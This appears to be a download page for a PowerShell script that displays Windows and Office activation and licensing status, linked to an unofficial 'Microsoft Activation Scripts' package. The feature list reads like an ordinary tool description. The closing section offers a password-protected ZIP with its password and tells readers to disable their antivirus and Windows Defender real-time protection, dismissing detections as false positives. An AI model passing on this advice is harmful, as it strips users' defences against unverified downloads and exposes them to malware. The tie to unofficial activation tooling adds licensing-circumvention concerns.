Check Activation Status

Discover a powerful PowerShell script designed to provide comprehensive details about your Microsoft Windows and Office licensing. This tool offers an efficient way to check activation status, expiration dates, and various license types across a wide range of Microsoft products. It serves as a practical alternative to traditional command-line utilities, simplifying the process of monitoring your software's activation state.

A robust Windows PowerShell script to display the licensing status of Microsoft Windows and Office.

Author: abbodi1406
Github Repo: https://github.com/gravesoft/CAS


How to use it

  • Go to the Github repo.
  • Download the ZIP file by clicking on the "Code" button and selecting "Download ZIP".
  • Extract the ZIP file to a preferred location on your computer.
  • Run the cmd_launcher.cmd file located in the extracted folder.

Supported products

  • Windows Vista and later / Windows Server 2008 and later.
  • Office 2010 and later (MSI or C2R), installed on Windows XP and later.
  • Office UWP apps on Windows 10/11.
  • Windows and Office KMS Host (CSVLK), installed on Windows Server 2003 and later.

Features

  • Require Windows PowerShell 2.0 at minimum
  • Practical replacement for slmgr.vbs functions /dli /dlv xpr
  • Shows the activation expiration date for supported products
  • Shows the ProductKeyChannel for Windows Vista / 7 / 8 primary installed key (available for uplevel Windows by default)
  • Shows the status of add-on licenses (Extended Security Updates, APPXLOB, OCUR..., etc)
  • Shows the status of Active Directory Volume Activation for Windows 8 and later
  • Shows the status of Automatic VM Activation for Windows Server 2012 and later
  • Shows the status of Subscription Activation for Windows 11 24H2 and later
  • Implement vNextDiag.ps1 functions to detect Office vNext licenses (subscription or lifetime)
  • Implement Client Licensing Check tool for Windows 8 and later

Check-Activation-Status.ps1 advantages

  • Faster PInvoke native methods imports from Software Licensing Client Dll.
  • Shows more info for all supported Windows and Office versions.
  • Implements "Client Licensing Check" for Windows 7 and Vista.

Parameters

SwitchEffect
-IIDShow Offline Installation ID
-DlvShow IID, Rearm count, Trusted time, Product ID.. if available
-AllShow status for all IDs, regardless installed keys
-PassSkip end prompt or clearing window buffer with All switch

Unsupported

Status of Token-based Volume Licensing.

License

The project is licensed under the terms of the MIT License.

Download Microsoft Activation Scripts

Get the latest MAS package. File: MAS-check-activation-status.zip

Download ZIP
Password:WYqejXiqBi97

If the download or the script doesn't work, please temporarily disable your antivirus (including Windows Defender real-time protection) and try again. Activation tools are commonly flagged as false positives.

Microsoft Activation Scripts — Open source on GitHub